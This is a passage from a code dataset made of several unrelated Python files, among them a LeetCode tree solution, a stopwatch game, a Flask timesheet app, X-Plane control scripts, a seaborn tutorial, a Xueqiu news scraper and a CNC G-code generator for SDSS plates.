display(df_new)\n\n\n# In[6]:\n\n\ndrop_day.observe(dropdown_day, names=\"value\")\n\n\n# In[7]:\n\n\ndisplay(drop_day)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Fundamentals/Python Fundamentals - Final Project.py","file_name":"Python Fundamentals - Final Project.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176452895","text":"'''\nproblem_url -: https://leetcode.com/problems/construct-binary-tree-from-preorder-and-postorder-traversal/\neditorial_links -: 1. Youtube -: https://www.youtube.com/watch?v=5lWJpTEnyow\n2. leetcode discussion-: https://leetcode.com/problems/construct-binary-tree-from-preorder-and-postorder-traversal/discuss/161651/Easy-Python-Recursive-Solution-with-Explanation\n\nIdea: The first element in \"pre\" and the last element in \"post\" should both be the value of the root. The second to last of \"post\" \n\t\tshould be the value of right child of the root. So we can find the index to split \"left\" and \"right\" children in \"pre\".\n\t\tDon't forget to evaluate if the length of \"post\" is larger than 1, since we used post[-2].\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n\tdef constructFromPrePost(self, pre: List[int], post: List[int]) -> TreeNode:\n\t\tif not pre or not post:\n\t\t\treturn None\n\n\t\troot = TreeNode(pre[0])\n\t\tif len(post)==1: return root \n\t\t\n\t\tidx = pre.index(post[-2])\n\t\troot.left = self.constructFromPrePost(pre[1: idx], post[: idx - 1])\n\t\troot.right = self.constructFromPrePost(pre[idx:], post[idx-1: -1])\n\t\t\n\t\treturn root","sub_path":"code_snippets/constructBSTfromPreAndPostOrderTraversal.py","file_name":"constructBSTfromPreAndPostOrderTraversal.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308140613","text":"import simplegui\n# define global variables\ninterval = 100\ngame = 0\nwin = 0\ntime_count = 0\n\n# define helper function format that converts time\n# in tenths of seconds into formatted string A:BC.D\ndef format(input_time):\n minutes = int(input_time / 600)\n sec1 = int((input_time / 100) % 6)\n sec2 = int((input_time / 10) % 10)\n msec = int(input_time % 10)\n string = str(minutes) + \":\" + str(sec1) + str(sec2) + \".\" + str(msec)\n return string\n\n# define event handlers for buttons; \"Start\", \"Stop\", \"Reset\"\ndef Start():\n timer.start()\n\ndef Stop():\n global win, game, time_count\n if (timer.is_running()):\n if (time_count % 10 == 0 and time_count != 0):\n win += 1\n game += 1\n timer.stop()\n\ndef Reset():\n global game, win, time_count\n game = 0\n win = 0\n time_count = 0\n timer.stop()\n\n\n# define event handler for timer with 0.1 sec interval\ndef tick():\n global time_count\n time_count += 1\n\n# define draw handler\ndef draw(canvas):\n global time_count\n print_text = format(time_count)\n canvas.draw_text(str(win) + '/' + str(game), \\\n (240,50), 30, \"green\")\n canvas.draw_text( print_text, (60, 120), 50, \"red\")\n\n\n# create frame\nframe = simplegui.create_frame(\"Stopwatch game\", 300, 300)\n\n# register event handlers\ntimer = simplegui.create_timer(interval, tick)\nframe.add_button(\"Start\", Start, 200)\nframe.add_button(\"Stop\", Stop, 200)\nframe.add_button(\"Reset\", Reset, 200)\nframe.set_draw_handler(draw)\n\n# start frame\nframe.start()\nReset()\n\n","sub_path":"Interactive_programming/stopwatch.py","file_name":"stopwatch.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451510672","text":"#Title :-To finding average percentage marks obtained by student.\n#Author :-Vighnesh Gawad\n#Created:-1 october 2018\n\nn=int(input())\nstudent_marks={}\nfor _ in range(n):\n\tname, *line = input().split()\n\tscores = list(map(float, line))\n\tstudent_marks[name]=(scores[0]+scores[1]+scores[2])/3\nprint('%.2f' %student_marks[input()])\n","sub_path":"Basic Data Types/FindingPercentage.py","file_name":"FindingPercentage.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105705256","text":"import os\nimport resolve_imports\nimport difflib,sys\n\ndef test_gen():\n\n def test_files(f):\n expected = 'tests/expected/'+f+'.css'\n input = 'tests/input/'+f+'.css'\n\n result = ''\n try:\n result = resolve_imports.resolve(input)\n except IOError:\n if f.startswith('_ioerror_'):\n assert True\n return\n except resolve_imports.RecursiveError:\n if f.startswith('_recursiveerror_'):\n assert True\n return\n except resolve_imports.ImportArgParseError:\n if f.startswith('_importargparseerror_'):\n assert True\n return\n\n for line in difflib.context_diff(open(expected).readlines(), result.splitlines(True), 'expected', 'result'):\n sys.stdout.write(line)\n assert open(expected).read().strip() == result.strip()\n\n for f in os.listdir('tests/input'):\n if f.endswith('.css'):\n yield (test_files, f[:-4])","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258740189","text":"from data.data_rare.mng_data import url\n\npage =[]\ndef test_press(app):\n app.open(url+'/press')\n menu = app.driver.find_elements_by_css_selector('#mainMenu li a')\n for m in menu:\n app.scroll(m)\n link = m.get_attribute('href')\n print(m.text, link)\n page.append(link)\n\n","sub_path":"tests_RARE/tests_MNG/test_Press.py","file_name":"test_Press.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259779131","text":"# -*- coding: utf-8 -*-\n\"\"\"Public section, including homepage and signup.\"\"\"\nfrom flask import Blueprint, flash, redirect, render_template, request, url_for\nfrom flask_login import login_required, login_user, logout_user, current_user\nfrom sqlalchemy import or_, and_\nfrom wtforms.ext.sqlalchemy.orm import model_form\n\nfrom www.extensions import login_manager, db\nfrom www.public.forms import LoginForm\nfrom www.timesheet.forms import EditTimesheetForm, CreateTimesheetForm\nfrom www.timesheet.models import Timesheet, TimesheetEntry\nfrom www.user.forms import RegisterForm\nfrom www.user.models import User\nfrom www.utils import flash_errors, daterange\n\nblueprint = Blueprint('timesheet', __name__, url_prefix='/timesheets', static_folder='../static')\n\n@blueprint.route('/', methods=['GET'])\n@login_required\ndef index():\n \"\"\"List timesheet.\"\"\"\n timesheets = Timesheet.query.all()\n return render_template('timesheets/timesheet_index.html', timesheets=timesheets)\n\n@blueprint.route('/new', methods=['GET'])\n@login_required\ndef new():\n form = CreateTimesheetForm(request.form)\n return render_template('timesheets/timesheet_create.html', form=form)\n\n@blueprint.route('/', methods=['POST'])\n@login_required\ndef create():\n form = CreateTimesheetForm(request.form)\n if request.method=='POST' and form.validate():\n timesheet = Timesheet(title=form.title.data, month=form.month.data, year=form.year.data )\n timesheet.user_id = current_user.id\n db.session.add(timesheet)\n db.session.commit()\n flash('Your timesheet was created')\n return redirect(url_for('timesheet.index'))\n return render_template('timesheets/timesheet_create.html', form=form)\n\n@blueprint.route('/', methods=['GET'])\n@login_required\ndef show(id):\n item = Timesheet.get_by_id(id)\n return render_template('timesheets/timesheet_detail.html', item=item)\n\n@blueprint.route('//edit', methods=['GET'])\n@login_required\ndef edit(id):\n timesheet = Timesheet.get_by_id(id)\n form = EditTimesheetForm(request.form, obj=timesheet)\n form.populate_form(timesheet)\n return render_template(\"timesheets/timesheet_edit.html\", form=form, timesheet=timesheet)\n\n@blueprint.route('/', methods=['POST'])\n@login_required\ndef update(id):\n timesheet = Timesheet.get_by_id(id)\n form = EditTimesheetForm(request.form, obj=timesheet)\n\n if form.validate_on_submit():\n form.populate_obj(obj=timesheet)\n db.session.commit()\n flash(\"timesheet updated\")\n return redirect(url_for('timesheet.index'))\n return render_template(\"timesheets/timesheet_edit.html\", form=form, timesheet=timesheet)\n\n@blueprint.route('//print', methods=['GET'])\n@login_required\ndef print(id):\n timesheet = Timesheet.get_by_id(id)\n\n return render_template(\"timesheets/timesheet_print.html\", timesheet=timesheet)\n\n@blueprint.route('//delete', methods=['GET'])\n@login_required\ndef destroy(id):\n post = Timesheet.get_by_id(id)\n db.session.delete(post)\n db.session.commit()\n flash ('deleted')\n\n return redirect(url_for('timesheet.index'))","sub_path":"www/timesheet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431846457","text":"from time import sleep\nimport xplane.xpc as xpc\n\n\ndef reset():\n print(\"X-Plane Connect example script\")\n print(\"Setting up simulation\")\n with xpc.XPlaneConnect() as client:\n # Verify connection\n try:\n # If X-Plane does not respond to the request, a timeout error\n # will be raised.\n client.getDREF(\"sim/test/test_float\")\n except:\n print(\"Error establishing connection to X-Plane.\")\n print(\"Exiting...\")\n return\n\n # Set position of the player aircraft\n print(\"Setting position\")\n # Lat Lon Alt Pitch Roll Yaw Gear\n posi = [31.24562644958496, -109.62947082519531, 1276.0819091796875, -0.5395403504371643, -0.7556023001670837, 125.76551055908203, 1.0]\n client.sendPOSI(posi)\n\n # Set angle of attack, velocity, and orientation using the DATA command\n # print(\"Setting orientation\")\n # data = [\n # [18, 0, -998, 0, -998, -998, -998, -998, -998],\n # [3, 130, 130, 130, 130, -998, -998, -998, -998],\n # [16, 0, 0, 0, -998, -998, -998, -998, -998]\n # ]\n # client.sendDATA(data)\n\n # Set control surfaces and throttle of the player aircraft using sendCTRL\n print(\"Setting controls\")\n ctrl = [0.0, 0.0, 0.0, 0.8]\n client.sendCTRL(ctrl)\n\n # Pause the sim\n print(\"Pausing\")\n client.pauseSim(True)\n sleep(2)\n\n # Toggle pause state to resume\n print(\"Resuming\")\n client.pauseSim(False)\n\n # Stow landing gear using a dataref\n print(\"Stowing gear\")\n gear_dref = \"sim/cockpit/switches/gear_handle_status\"\n client.sendDREF(gear_dref, 0)\n\n # Let the sim run for a bit.\n sleep(4)\n\n # Make sure gear was stowed successfully\n gear_status = client.getDREF(gear_dref)\n if gear_status[0] == 0:\n print(\"Gear stowed\")\n else:\n print(\"Error stowing gear\")\n\n print(\"End of Python client example\")\n\ndef track_position():\n print(\"X-Plane Connect example script\")\n print(\"Setting up simulation\")\n with xpc.XPlaneConnect() as client:\n # Verify connection\n try:\n # If X-Plane does not respond to the request, a timeout error\n # will be raised.\n client.getDREF(\"sim/test/test_float\")\n except:\n print(\"Error establishing connection to X-Plane.\")\n print(\"Exiting...\")\n return\n res = client.getPOSI(0)\n print(res)\n\ndef send_waypoints():\n print(\"X-Plane Connect example script\")\n print(\"Setting up simulation\")\n with xpc.XPlaneConnect() as client:\n # Verify connection\n try:\n # If X-Plane does not respond to the request, a timeout error\n # will be raised.\n client.getDREF(\"sim/test/test_float\")\n except:\n print(\"Error establishing connection to X-Plane.\")\n print(\"Exiting...\")\n return\n res = client.getPOSI(0)\n print(res)\n\nreset()","sub_path":"xplane/XPlaneFunctions.py","file_name":"XPlaneFunctions.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"187693119","text":"\nimport pandas as pd\npd.set_option('max_columns', None)\ndf = pd.read_csv(\"../input/fifa-18-demo-player-dataset/CompleteDataset.csv\", index_col=0)\n\nimport re\nimport numpy as np\n\nfootballers = df.copy()\nfootballers['Unit'] = df['Value'].str[-1]\nfootballers['Value (M)'] = np.where(footballers['Unit'] == '0', 0, \n footballers['Value'].str[1:-1].replace(r'[a-zA-Z]',''))\nfootballers['Value (M)'] = footballers['Value (M)'].astype(float)\nfootballers['Value (M)'] = np.where(footballers['Unit'] == 'M', \n footballers['Value (M)'], \n footballers['Value (M)']/1000)\nfootballers = footballers.assign(Value=footballers['Value (M)'],\n Position=footballers['Preferred Positions'].str.split().str[0])\nfootballers.head()\nimport seaborn as sns\ndf = footballers[footballers['Position'].isin(['ST', 'GK'])]\ng = sns.FacetGrid(df, col=\"Position\")\ndf = footballers[footballers['Position'].isin(['ST', 'GK'])]\ng = sns.FacetGrid(df, col=\"Position\")\ng.map(sns.kdeplot, \"Overall\")\ndf = footballers\n\ng = sns.FacetGrid(df, col=\"Position\", col_wrap=6)\ng.map(sns.kdeplot, \"Overall\")\ndf = footballers[footballers['Position'].isin(['ST', 'GK'])]\ndf = df[df['Club'].isin(['Real Madrid CF', 'FC Barcelona', 'Atlético Madrid'])]\n\ng = sns.FacetGrid(df, row=\"Position\", col=\"Club\")\ng.map(sns.violinplot, \"Overall\")\ndf = footballers[footballers['Position'].isin(['ST', 'GK'])]\ndf = df[df['Club'].isin(['Real Madrid CF', 'FC Barcelona', 'Atlético Madrid'])]\n\ng = sns.FacetGrid(df, row=\"Position\", col=\"Club\", \n row_order=['GK', 'ST'],\n col_order=['Atlético Madrid', 'FC Barcelona', 'Real Madrid CF'])\ng.map(sns.violinplot, \"Overall\")\nsns.pairplot(footballers[['Overall', 'Potential', 'Value']])\nfrom IPython.display import HTML\nHTML(\"\"\"\n
    \n
  1. You should try to keep your grid variables down to five or so. Otherwise the plots get too small.
  2. \n
  3. It's (1) a multivariate technique which (2) is very easy to use.
  4. \n
  5. Pair plots are most useful when just starting out with a dataset, because they help contextualize relationships within it.
  6. \n
\n\"\"\")\nimport pandas as pd\nimport seaborn as sns\n\npokemon = pd.read_csv(\"../input/pokemon/Pokemon.csv\", index_col=0)\npokemon.head(3)\ng = sns.FacetGrid(pokemon, row=\"Legendary\")\ng.map(sns.kdeplot, \"Attack\")\ng = sns.FacetGrid(pokemon, col=\"Legendary\", row=\"Generation\")\ng.map(sns.kdeplot, \"Attack\")\nsns.pairplot(pokemon[['HP', 'Attack', 'Defense']])","sub_path":"sources/faceting-with-seaborn.py","file_name":"faceting-with-seaborn.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646658221","text":"import json\nimport yaml\nimport pickle\nimport time\nimport datetime\nimport re\nfrom urllib3.exceptions import ProtocolError\nfrom requests.exceptions import ConnectionError\nimport jieba\nfrom os import path\n\nscriptroot = path.split(path.dirname(__file__))[0] + \"/files/\"\njieba.load_userdict(scriptroot + \"userdict.txt\")\n\nfrom lib.log import Log\nfrom lib.fredis import Redis\nfrom lib.blob import AppendBlob, BlockBlob\n\n\nhost = \"10.172.136.41\"\nport = \"30002\"\ndelay = 30 # in seconds\ndefault_active_window = 604800 # a week\n\nredis_news_hkey = \"snowball.newschema\"\nredis_comments_hkey = \"snowball.commentschema\"\nredis_news_list = \"snowball.updatenews\"\nredis_comments_list = \"snowball.updatecomments\"\n\nschema_container = \"snowballschema\"\nschema_url = \"https://financestore.blob.core.windows.net/snowballschema/\"\nuser_container = \"snowballuser\"\nuser_url = \"https://financestore.blob.core.windows.net/snowballuser/\"\ntext_container = \"snowballtext\"\ntext_url = \"https://financestore.blob.core.windows.net/snowballtext/\"\nsource_container = \"xueqiu\"\nsource_url = \"https://financestore.blob.core.windows.net/xueqiu/\"\n\n\nlog = Log(tag=\"stdout\")\nredis = Redis(host=host, port=port)\nblob = BlockBlob()\nindex = redis.hash.get(redis_news_hkey, \"index\")\nindex = int(index[\"index\"])\n\n\n\ndef related_code(text):\n code = set()\n with open(scriptroot + \"dict.pk\", 'rb') as f:\n dict = pickle.load(f)\n\n words = jieba.cut(text)\n for word in words:\n if word in dict.keys():\n code.add(dict[word])\n\n return list(code)\n\n\ndef company_dict():\n dict = {}\n with open(scriptroot + \"sl.json\") as f:\n for i, l in enumerate(f.readlines()):\n js = json.loads(l)\n print(str(i) + \": \" + str(js))\n\n stock_name = js[\"stock_name\"]\n company_name = js[\"company_name\"]\n code = js[\"code\"]\n\n dict[stock_name] = code\n dict[company_name] = code\n\n pickle.dump(dict, open(scriptroot + \"dict.pk\", \"wb\"))\n\n\n\ndef valid_date(str):\n try:\n time.strptime(str, \"%Y-%m-%d %H:%M\")\n return str\n except:\n if \"今天\" in str:\n str = str.replace(\"今天\", \"\")\n t = time.strftime(\"%Y-%m-%d\")\n return t + str\n elif \"分钟前\" in str:\n str = str.replace(\"分钟前\", \"\")\n t = int(str)\n return (datetime.datetime.now() - datetime.timedelta(minutes=t)).strftime(\"%Y-%m-%d %H:%M\")\n elif \"秒前\" in str:\n str = str.replace(\"秒前\", \"\")\n t = int(str)\n return (datetime.datetime.now() - datetime.timedelta(seconds=t)).strftime(\"%Y-%m-%d %H:%M\")\n return \"2018-\" + str\n\n\n\ndef parse_news(id):\n dict = {}\n\n news_blob = \"%s.json\" % id\n news_exist = blob.bbservice.exists(source_container, news_blob)\n if not news_exist:\n log.warn(\"No news [{}] found in {}\".format(id, source_container))\n return \"\"\n\n news, _ = blob.readText(source_container, news_blob)\n js = json.loads(news)\n\n dict[\"id\"] = js[\"id\"]\n dict[\"user_id\"] = js[\"user_id\"]\n dict[\"title\"] = js[\"title\"]\n dict[\"website_url\"] = \"https://xueqiu.com\" + js[\"target\"]\n\n date = js[\"created_at\"] # timestamp\n dict[\"created_at\"] = None if date == None else time.strftime(\"%Y-%m-%d %H:%M\", time.localtime(int(date / 1000)))\n date = js[\"edited_at\"] # timestamp\n dict[\"edited_at\"] = None if date == None else time.strftime(\"%Y-%m-%d %H:%M\", time.localtime(int(date / 1000)))\n dict[\"posted_at\"] = valid_date(js[\"timeBefore\"]) # string\n\n dict[\"abstract\"] = js[\"description\"]\n dict[\"reply_count\"] = js[\"reply_count\"]\n dict[\"retweet_count\"] = js[\"retweet_count\"]\n dict[\"fav_count\"] = js[\"fav_count\"]\n dict[\"like_count\"] = js[\"like_count\"]\n\n dict[\"reward_count\"] = js[\"reward_count\"]\n dict[\"reward_amount\"] = js[\"reward_amount\"]\n dict[\"reward_user_count\"] = js[\"reward_user_count\"]\n\n dict[\"comments\"], latest_comment = parse_comments(id)\n\n if latest_comment == \"\":\n dict[\"active_window\"] = default_active_window\n else:\n post_at = time.mktime(time.strptime(dict[\"posted_at\"], '%Y-%m-%d %H:%M'))\n latest_comment = time.mktime(time.strptime(latest_comment, '%Y-%m-%d %H:%M'))\n dict[\"active_window\"] = latest_comment - post_at\n\n text_content = re.sub(\"<.*?>\", \"\", js[\"text\"]).replace(\" \", \"\")\n dict[\"related_codes\"] = related_code(text_content)\n text = blob.writeText(text_container, \"text_%s.txt\" % id, text_content)\n dict[\"text_content\"] = text # text content url\n\n user_url = parse_user(js[\"user\"], \"%s%s.json\" % (schema_url, id), \"n\") # user info, news url, type\\\n dict[\"user_url\"] = user_url\n\n print(\"News %s: %s\" % (id, str(dict)))\n\n schema = json.dumps(dict, ensure_ascii=False)\n return schema\n\n\n\ndef parse_user(user, news, type): # user info, news url, type = \"n\"/news or \"c\"/comments\n user_id = user[\"id\"]\n user_blob = \"user_%s.json\" % user_id\n user_exist = blob.bbservice.exists(user_container, user_blob)\n\n user_comments = set()\n user_news = set()\n\n if user_exist: # load old version\n user_past, _ = blob.readText(user_container, user_blob)\n js = json.loads(user_past)\n user_comments = (set)(js[\"user_comments\"])\n user_news = (set)(js[\"user_news\"])\n\n log.info(\"Existed user [{}]\".format(user_id))\n else:\n log.info(\"Creating user [{}]\".format(user_id))\n\n if type == \"c\": # user gives comment for news #id\n user_comments.add(news)\n elif type == \"n\":\n user_news.add(news)\n\n dict = {}\n dict[\"user_id\"] = user[\"id\"]\n dict[\"screen_name\"] = user[\"screen_name\"]\n dict[\"description\"] = user[\"description\"]\n dict[\"verified_description\"] = user[\"verified_description\"]\n dict[\"gender\"] = user[\"gender\"]\n dict[\"province\"] = user[\"province\"]\n dict[\"city\"] = user[\"city\"]\n dict[\"followers\"] = user[\"followers_count\"]\n dict[\"following\"] = user[\"friends_count\"]\n dict[\"post_count\"] = user[\"status_count\"]\n dict[\"stocks_count\"] = user[\"stocks_count\"]\n dict[\"website_url\"] = \"https://xueqiu.com/u\" + user[\"profile\"]\n dict[\"user_comments\"] = (list)(user_comments)\n dict[\"user_news\"] = (list)(user_news)\n\n user_schema = json.dumps(dict, ensure_ascii=False)\n ret_url = blob.writeText(user_container, \"user_%s.json\" % user[\"id\"], user_schema)\n\n return ret_url\n\n\n\ndef parse_comments(id):\n log.info(\"Parsing comments for news [{}]\".format(id))\n\n comments_blob = \"%s.yaml\" % id\n comments_exist = blob.bbservice.exists(source_container, comments_blob)\n if not comments_exist:\n log.info(\"No comments found.\")\n return [], \"\"\n\n comments_list, _ = blob.readText(source_container, comments_blob)\n comments_list = yaml.load_all(comments_list)\n\n comments = []\n latest = \"\"\n for i, ym in enumerate(comments_list):\n dict = {}\n\n if ym == None: continue\n dict[\"comment_id\"] = ym[\"id\"]\n dict[\"description\"] = re.sub(\"<.*?>\", \"\", ym[\"description\"]).replace(\" \", \"\")\n dict[\"text\"] = re.sub(\"<.*?>\", \"\", ym[\"text\"]).replace(\" \", \"\")\n\n date = ym[\"created_at\"]\n dict[\"created_at\"] = None if date == None else time.strftime(\"%Y-%m-%d %H:%M\", time.localtime(int(date / 1000)))\n\n dict[\"posted_at\"] = valid_date(ym[\"timeBefore\"])\n latest = dict[\"posted_at\"] if dict[\"posted_at\"] > latest else latest # latest comment time\n\n dict[\"like_count\"] = ym[\"like_count\"]\n dict[\"reward_amount\"] = ym[\"reward_amount\"]\n dict[\"reward_count\"] = ym[\"reward_count\"]\n dict[\"reward_user_count\"] = ym[\"reward_user_count\"]\n dict[\"reply_comment_id\"] = None if ym[\"reply_comment\"] == None else ym[\"reply_comment\"][\"id\"]\n dict[\"user_id\"] = ym[\"user_id\"]\n\n news_url = \"%s%s.json\" % (schema_url, id) # comments of this news\n user_url = parse_user(ym[\"user\"], news_url, \"c\")\n dict[\"user_url\"] = user_url # url to user info\n\n print(\"Comment %d for news %s:\" % (i, id))\n print(dict)\n comments.append(dict)\n\n return comments, latest\n\n\ndef get_news():\n global index\n\n while(True):\n news = redis.queue.list(redis_news_list, index, index)\n\n if news:\n try:\n news_id = news[0][\"blob\"].split(\".\")[0] # news_id, string\n log.info(\"Parsing news: [{}]\".format(news_id))\n\n news_schema = parse_news(news_id)\n log.info(news_schema)\n\n news_url = blob.writeText(schema_container, news[0][\"blob\"], news_schema)\n redis.hash.insert(redis_news_hkey, {\"k\": news[0][\"blob\"], \"v\": news_url})\n log.info(\"Saving news schema to url [{}]\".format(news_url))\n\n index += 1\n except(ConnectionError, ProtocolError):\n log.warn(news)\n log.warn(\"Error. Saving index to [{}]\".format(redis_comments_hkey))\n finally:\n redis.hash.insert(redis_news_hkey, {\"k\": \"index\", \"v\": index})\n else:\n log.info(\"No news found, wait\")\n time.sleep(delay)\n\n\nif __name__ == '__main__':\n get_news()\n\n","sub_path":"getter/snowball/schema.getter.py","file_name":"schema.getter.py","file_ext":"py","file_size_in_byte":9152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192800651","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 26 12:03:37 2020\r\n\r\n@author: DAVID CAIZALUISA\r\n\"\"\"\r\n\r\n\r\ndato=int(input(\"Ingrese el numero de veces a contar: \"))\r\n\r\ncontador=1\r\nacumulador=0\r\nwhile True:\r\n print(contador)\r\n contador+=1\r\n if contador >dato:\r\n break \r\n","sub_path":"WHILE TRUE.py","file_name":"WHILE TRUE.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"88529580","text":"import os\nimport numpy as np\nimport pydl.pydlutils.yanny as yanny\n\n\nclass Gcodes(object):\n \"\"\"Handles CNC code blocks for SDSS plate design\n\n Parameters\n ----------\n mode : str\n Drilling mode ('boss', 'manga', or 'apogee_south'); default 'boss'\n paramfile : str\n Input parameter file (e.g. 'plParam.par'); default None\n \"\"\"\n\n def __init__(self, mode='boss', paramfile=None, parametersdir=None):\n self.mode = mode\n self.parametersdir = parametersdir\n self.param = yanny.yanny(paramfile)\n self.alignment = self._set_alignment(mode=mode)\n self.lighttrap = self._set_lighttrap(mode=mode)\n self.objects = self._set_objects(mode=mode)\n self.completion_text = self._set_completion_text(mode=mode)\n self.manga = self._set_manga(mode=mode)\n self.manga_alignment = self._set_manga_alignment(mode=mode)\n\n # Use different codes for movement for APOGEE south plates,\n # appropriate to drilling on a flat mandrel.\n if(self.mode == 'apogee_south'):\n self.coordcode = 'G56'\n else:\n self.coordcode = 'G54'\n\n # Comments in CNC code are labeled differently for MaNGA plates\n if(self.mode == 'manga'):\n self.name = 'SDSS/MaNGA'\n else:\n self.name = 'SDSS'\n\n self.acquisition_header = \"\"\"(CAMERA MOUNTING HOLES)\nG90 G56\n\"\"\"\n self.acquisition_offaxis_template = \"\"\"G68 X0.0 Y0.0 R-90.0\nG00 X{axy[0]:.6f} Y{axy[1]:.6f}\nM98 P9775\nG69\n\"\"\"\n self.acquisition_center = \"\"\"M98 P9776\nM01\n\"\"\"\n\n self.header_text = \"\"\"%\nO{plateId7K:d}({name} PLUG-PLATE {plateId:d})\n(Drilling temperature {tempShopF:5.1f} degrees F)\n(INPUT FILE NAME: {plug_name})\n(CNC PROGRAM NAME: {fanuc_name})\n\"\"\"\n\n self.first_text = str(self.coordcode) + \"\"\" G60 X{cx:.6f} Y{cy:.6f}\nG43 H{drillSeq:02d} Z0.1\nM08\n\"\"\"\n self.hole_text = dict()\n self.hole_text['objects'] = \"\"\"G83 G98 Z{cz:.6f} R{czr:.3f} L0 Q0.5 F9.0\nG60 X{cx:.6f} Y{cy:.6f} ( {objId[0]} {objId[1]} {objId[2]} {objId[3]} {objId[4]} )\n\"\"\"\n self.hole_text['lighttrap'] = self.hole_text['objects']\n self.hole_text['manga'] = self.hole_text['objects']\n self.hole_text['alignment'] = \"\"\"G83 G98 Z{cz:.6f} R{czr:.3f} L0 Q0.02 F2.0\nG60 X{cx:.6f} Y{cy:.6f} ( {objId[0]} {objId[1]} {objId[2]} {objId[3]} {objId[4]} )\n\"\"\"\n self.hole_text['manga_alignment'] = \"\"\"G83 G98 Z{cz:.6f} R{czr:.3f} L0 Q0.02 F1.5\nG60 X{cx:.6f} Y{cy:.6f} ( {objId[0]} {objId[1]} {objId[2]} {objId[3]} {objId[4]} )\n\"\"\"\n\n self.holediam_values = dict()\n self.holediam_values['OBJECT'] = np.float32(2.16662)\n self.holediam_values['COHERENT_SKY'] = np.float32(2.16662)\n self.holediam_values['GUIDE'] = np.float32(2.16662)\n self.holediam_values['LIGHT_TRAP'] = np.float32(3.175)\n self.holediam_values['ALIGNMENT'] = np.float32(1.1811)\n self.holediam_values['MANGA'] = np.float32(2.8448)\n self.holediam_values['MANGA_ALIGNMENT'] = np.float32(0.7874)\n self.holediam_values['MANGA_SINGLE'] = np.float32(3.2766)\n self.holediam_values['ACQUISITION_CENTER'] = np.float32(60.)\n self.holediam_values['ACQUISITION_OFFAXIS'] = np.float32(68.)\n\n self.drillSeq = dict()\n self.drillSeq['objects'] = 1\n if(self.mode == 'apogee_south'):\n self.drillSeq['objects'] = 11\n self.drillSeq['lighttrap'] = 2\n self.drillSeq['alignment'] = 3\n self.drillSeq['manga'] = 11\n self.drillSeq['manga_alignment'] = 12\n\n def _get_text(self, filename):\n \"\"\"Gets text from a CNC template file\n\n Parameters\n ----------\n filename : str\n name of template file\n\n Returns\n -------\n text : str\n contents of file\n \"\"\"\n fp = open(os.path.join(self.parametersdir, filename), 'r')\n text = fp.read()\n fp.close()\n return(text)\n\n def _set_alignment(self, mode='boss'):\n \"\"\"Set alignment template\n \"\"\"\n return(self._get_text(self.param['alignCodesFile']))\n\n def _set_lighttrap(self, mode='boss'):\n \"\"\"Set light trap template\n \"\"\"\n return(self._get_text(self.param['trapCodesFile']))\n\n def _set_completion_text(self, mode='boss'):\n \"\"\"Set template text for completion\n \"\"\"\n return(self._get_text(self.param['endCodesFile']))\n\n def _set_objects(self, mode='boss'):\n \"\"\"Set object template\n \"\"\"\n return(self._get_text(self.param['objectCodesFile']))\n\n def _set_manga(self, mode='boss'):\n \"\"\"Set MaNGA template\n \"\"\"\n if(mode == 'manga'):\n return(self._get_text(self.param['mangaCodesFile']))\n else:\n return(None)\n\n def _set_manga_alignment(self, mode='boss'):\n \"\"\"Set MaNGA alignment template\n \"\"\"\n if(mode == 'manga'):\n return(self._get_text(self.param['mangaAlignCodesFile']))\n else:\n return(None)\n\n def header(self, plateId=None, tempShopF=None,\n plug_name=None, fanuc_name=None):\n \"\"\"Create a header of CNC file\n\n Parameters\n ----------\n plateId : np.int32, int\n plate ID number\n tempShopF : np.float32, float\n temperature of the shop assumed, in deg F\n plug_name : str\n name of plPlugMapP file\n fanuc_name : str\n name of plFanuc file being written to\n\n Returns\n -------\n text : str\n header\n \"\"\"\n plateId7K = plateId % 7000\n return(self.header_text.format(name=self.name,\n plateId=plateId,\n plateId7K=plateId7K,\n tempShopF=tempShopF,\n plug_name=plug_name,\n fanuc_name=fanuc_name))\n\n def first(self, cx=None, cy=None, cz=None, czr=None, drillSeq=None):\n \"\"\"Create CNC code for first hole\n\n Parameters\n ----------\n cx : np.float32\n X position of hole (inches)\n cy : np.float32\n Y position of hole (inches)\n cz : np.float32\n Z for hole (inches)\n czr : np.float32\n Z offset for hole (inches)\n drillSeq : np.int32, int\n drilling sequence index\n\n Returns\n -------\n text : str\n CNC code\n \"\"\"\n return(self.first_text.format(cx=cx, cy=cy, cz=cz, czr=czr,\n drillSeq=drillSeq))\n\n def hole(self, holetype=None, cx=None, cy=None, cz=None, czr=None,\n objId=None):\n \"\"\"Create CNC code for holes\n\n Parameters\n ----------\n holetype : str\n type of hole\n cx : np.float32\n X position of hole (inches)\n cy : np.float32\n Y position of hole (inches)\n cz : np.float32\n Z for hole (inches)\n czr : np.float32\n Z offset for hole (inches)\n objId : np.int32, int\n [5]-array for object ID 